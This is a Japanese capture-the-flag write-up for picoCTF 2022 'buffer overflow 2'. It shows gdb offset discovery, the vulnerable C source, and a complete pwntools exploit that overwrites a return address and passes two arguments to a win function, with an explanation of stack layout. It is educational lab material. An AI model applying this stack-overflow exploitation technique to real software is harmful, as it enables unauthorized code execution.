リターンアドレス書き換えと引数指定
picoCTF 2022 「buffer overflow 2」。
bofでリターンアドレスを書き換えてwin
関数に飛ぶ。しかし、そのwin
関数は引数を2つとる関数であり、それぞれの引数を適切に設定してやる必要がある。
飛んだ先の関数が”引数アリ”の場合のpayloadの作り方に注意。
プログラムの概要
実行すると入力待ちになり、入力した文字を出力し返すだけ。
セキュリティ機構はNX enabledのみの32bitプログラム。
リターンアドレスまでのオフセット
gdbのパターン文字列を利用:
gdb-peda$ pattc 150 gdb-peda$ r ... [----------------------------------registers-----------------------------------] EAX: 0x97 EBX: 0x41413741 ('A7AA') ECX: 0xf7e20994 --> 0x0 EDX: 0x1 ESI: 0xffffd024 --> 0xffffd205 ("/home/shoebill/pico/vuln") EDI: 0xf7ffcb80 --> 0x0 EBP: 0x6941414d ('MAAi') ESP: 0xffffcf40 ("ANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA") EIP: 0x41384141 ('AA8A') EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow) ... gdb-peda$ patto AA8A AA8A found at offset: 112
リターンアドレスまでのオフセットは112。
ソースコードと戦略
void win(unsigned int arg1, unsigned int arg2) { char buf[64]; FILE *f = fopen("flag.txt","r"); fgets(buf,FLAGSIZE,f); if (arg1 != 0xCAFEF00D) return; if (arg2 != 0xF00DF00D) return; printf(buf); } void vuln(){ char buf[BUFSIZE]; gets(buf); puts(buf); } int main(int argc, char **argv){ puts("Please enter your string: "); vuln();
フラグを得るには、win
関数に飛ばしてかつ引数arg1
が0xCAFEF00D、arg2
が0xF00DF00Dである必要がある。
exploit
#!/usr/bin/env python3 from pwn import * bin_file = './vuln' context.binary = bin_file binf = ELF(bin_file) addr_win = binf.symbols['win'] addr_vuln = binf.symbols['vuln'] def attack(conn, **kwargs): payload = b'a' * 112 payload += p32(addr_win) payload += p32(addr_vuln) payload += p32(0xCAFEF00D) payload += p32(0xF00DF00D) conn.sendlineafter(b'Please enter your string:', payload) def main(): conn = process(bin_file) attack(conn) conn.interactive() if __name__ == '__main__': main()
引数の前にリターンアドレスを書く!!
win
関数に飛ぶ。かつ、win
関数に引数を与える。
その際、win
関数終了時に戻る先のアドレスすなわちリターンアドレスを、(引数よりも)先にスタックに積んでおく必要がある。
Low address +--------------------+ | | | retaddr | | | +--------------------+ | | | arg1 | | | +--------------------+ | | | arg2 | | | +--------------------+ | | | . | | . | | . | +--------------------+ High address
関数呼び出しとスタックの動きについては次の記事がとてもわかりやすい:
通常の関数呼び出しではこのようなスタックの動きをするから、bofの攻撃をする際も通常の関数呼び出し時と同じようにスタックを組む必要がある。
一個前の記事の問題(buffer overflow 1)のように、ただ目的の関数に飛ばすだけなら上記の事を考慮する必要はないが、飛んだ先の関数に引数を与える場合は適切なスタックの状態で関数呼び出しをする必要がある。